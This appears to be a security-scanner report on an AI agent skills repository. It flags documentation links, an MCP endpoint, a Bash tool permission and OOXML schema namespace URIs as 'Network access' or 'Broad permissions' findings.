Reference: [JSONB Indexes](https://www.postgresql.org/docs/current/datatype-json.html#JSON-INDEXING)
skills/postgres-best-practices/rules/conn-idle-timeout.md
- Network accessline 46
Reference: [Connection Timeouts](https://www.postgresql.org/docs/current/runtime-config-client.html#GUC-IDLE-IN-TRANSACTION-SESSION-TIMEOUT)
skills/postgres-best-practices/rules/conn-limits.md
- Network accessline 44
Reference: [Database Connections](https://supabase.com/docs/guides/platform/performance#connection-management)
skills/postgres-best-practices/rules/conn-pooling.md
- Network accessline 41
Reference: [Connection Pooling](https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pooler)
skills/postgres-best-practices/rules/conn-prepared-statements.md
- Network accessline 46
Reference: [Prepared Statements with Pooling](https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pool-modes)
skills/postgres-best-practices/rules/data-batch-inserts.md
- Network accessline 54
Reference: [COPY](https://www.postgresql.org/docs/current/sql-copy.html)
skills/postgres-best-practices/rules/data-n-plus-one.md
- Network accessline 53
Reference: [N+1 Query Problem](https://supabase.com/docs/guides/database/query-optimization)
skills/postgres-best-practices/rules/data-pagination.md
- Network accessline 50
Reference: [Pagination](https://supabase.com/docs/guides/database/pagination)
skills/postgres-best-practices/rules/data-upsert.md
- Network accessline 50
Reference: [INSERT ON CONFLICT](https://www.postgresql.org/docs/current/sql-insert.html#SQL-ON-CONFLICT)
skills/postgres-best-practices/rules/lock-advisory.md
- Network accessline 56
Reference: [Advisory Locks](https://www.postgresql.org/docs/current/explicit-locking.html#ADVISORY-LOCKS)
skills/postgres-best-practices/rules/lock-deadlock-prevention.md
skills/postgres-best-practices/rules/lock-short-transactions.md
- Network accessline 50
Reference: [Transaction Management](https://www.postgresql.org/docs/current/tutorial-transactions.html)
skills/postgres-best-practices/rules/lock-skip-locked.md
- Network accessline 54
Reference: [SELECT FOR UPDATE SKIP LOCKED](https://www.postgresql.org/docs/current/sql-select.html#SQL-FOR-UPDATE-SHARE)
skills/postgres-best-practices/rules/monitor-explain-analyze.md
- Network accessline 45
Reference: [EXPLAIN](https://supabase.com/docs/guides/database/inspect)
skills/postgres-best-practices/rules/monitor-pg-stat-statements.md
- Network accessline 55
Reference: [pg_stat_statements](https://supabase.com/docs/guides/database/extensions/pg_stat_statements)
skills/postgres-best-practices/rules/monitor-vacuum-analyze.md
- Network accessline 55
Reference: [VACUUM](https://supabase.com/docs/guides/database/database-size#vacuum-operations)
skills/postgres-best-practices/rules/query-composite-indexes.md
- Network accessline 44
Reference: [Multicolumn Indexes](https://www.postgresql.org/docs/current/indexes-multicolumn.html)
skills/postgres-best-practices/rules/query-covering-indexes.md
- Network accessline 40
Reference: [Index-Only Scans](https://www.postgresql.org/docs/current/indexes-index-only-scans.html)
skills/postgres-best-practices/rules/query-index-types.md
- Network accessline 45
Reference: [Index Types](https://www.postgresql.org/docs/current/indexes-types.html)
skills/postgres-best-practices/rules/query-missing-indexes.md
- Network accessline 43
Reference: [Query Optimization](https://supabase.com/docs/guides/database/query-optimization)
skills/postgres-best-practices/rules/query-partial-indexes.md
- Network accessline 45
Reference: [Partial Indexes](https://www.postgresql.org/docs/current/indexes-partial.html)
skills/postgres-best-practices/rules/schema-data-types.md
- Network accessline 46
Reference: [Data Types](https://www.postgresql.org/docs/current/datatype.html)
skills/postgres-best-practices/rules/schema-foreign-key-indexes.md
- Network accessline 59
Reference: [Foreign Keys](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-FK)
skills/postgres-best-practices/rules/schema-lowercase-identifiers.md
- Network accessline 55
Reference: [Identifiers and Key Words](https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS)
skills/postgres-best-practices/rules/schema-partitioning.md
- Network accessline 55
Reference: [Table Partitioning](https://www.postgresql.org/docs/current/ddl-partitioning.html)
skills/postgres-best-practices/rules/schema-primary-keys.md
skills/postgres-best-practices/rules/security-privileges.md
- Network accessline 54
Reference: [Roles and Privileges](https://supabase.com/blog/postgres-roles-and-privileges)
skills/postgres-best-practices/rules/security-rls-basics.md
- Network accessline 50
Reference: [Row Level Security](https://supabase.com/docs/guides/database/postgres/row-level-security)
skills/postgres-best-practices/rules/security-rls-performance.md
- Network accessline 57
Reference: [RLS Performance](https://supabase.com/docs/guides/database/postgres/row-level-security#rls-performance-recommendations)
skills/posthog-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/postmark-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/postmortem-writing/SKILL.md
- Network accessline 386
- [Google SRE - Postmortem Culture](https://sre.google/sre-book/postmortem-culture/) - Network accessline 387
- [Etsy's Blameless Postmortems](https://codeascraft.com/2012/05/22/blameless-postmortems/) - Network accessline 388
- [PagerDuty Postmortem Guide](https://postmortems.pagerduty.com/)
skills/powershell-windows/SKILL.md
- Broad permissionsline 1
Read, Write, Edit, Glob, Grep, Bash
skills/pptx-official/LICENSE.txt
- Network accessline 6
exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms - Network accessline 7
Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms - Network accessline 8
https://www.anthropic.com/legal/consumer-terms - Network accessline 9
https://www.anthropic.com/legal/commercial-terms
skills/pptx-official/SKILL.md
skills/pptx-official/html2pptx.md
skills/pptx-official/ooxml.md
- Network accessline 235
</p:xfrm> <a:graphic> <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table"> - Network accessline 236
<a:graphic> <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table"> <a:tbl> - Network accessline 237
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table"> - Network accessline 321
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/> - Network accessline 322
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/> - Network accessline 327
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/> - Network accessline 328
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.png"/>
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 6
xmlns:cdr="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 7
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 9
elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 11
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 13
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" schemaLocation="dml-chartDrawing.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 15
schemaLocation="dml-chartDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 6
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 8
elementFormDefault="qualified" attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 12
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 13
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
xmlns="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 7
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 9
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 11
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" schemaLocation="dml-diagram.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 13
schemaLocation="dml-diagram.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart" schemaLocation="dml-chart.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 15
schemaLocation="dml-chart.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" schemaLocation="dml-picture.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 17
schemaLocation="dml-picture.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" schemaLocation="dml-lockedCanvas.xsd"/> - Network accessline 18
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" elementFormDefault="qualified" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/picture"> - Network accessline 6
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 7
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 9
schemaLocation="dml-main.xsd"/> <xsd:import schemaLocation="shared-relationshipReference.xsd" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> - Network accessline 10
<xsd:import schemaLocation="shared-relationshipReference.xsd" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> <xsd:element name="from" type="CT_Marker"/> - Network accessline 11
namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 5
xmlns:dpct="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 6
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 7
xmlns="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 9
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 11
schemaLocation="dml-main.xsd"/> <xsd:import schemaLocation="wml.xsd" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> - Network accessline 12
<xsd:import schemaLocation="wml.xsd" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 13
namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 15
schemaLocation="dml-picture.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/presentationml/2006/main" - Network accessline 4
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" - Network accessline 5
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 6
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 7
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 8
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 9
targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main"> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 11
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 13
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/characteristics" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/characteristics"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" - Network accessline 6
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/customXml" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/customXml" - Network accessline 6
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" - Network accessline 4
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 5
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" - Network accessline 7
blockDefault="#all" elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 9
schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" - Network accessline 4
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" - Network accessline 6
elementFormDefault="qualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 6
blockDefault="#all" elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 4
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 5
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math"> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/ - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math"> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 10
schemaLocation="wml.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/> <xsd:simpleType name="ST_Integer255"> - Network accessline 13
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/>
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" blockDefault="#all"> - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:xdr="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 8
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 13
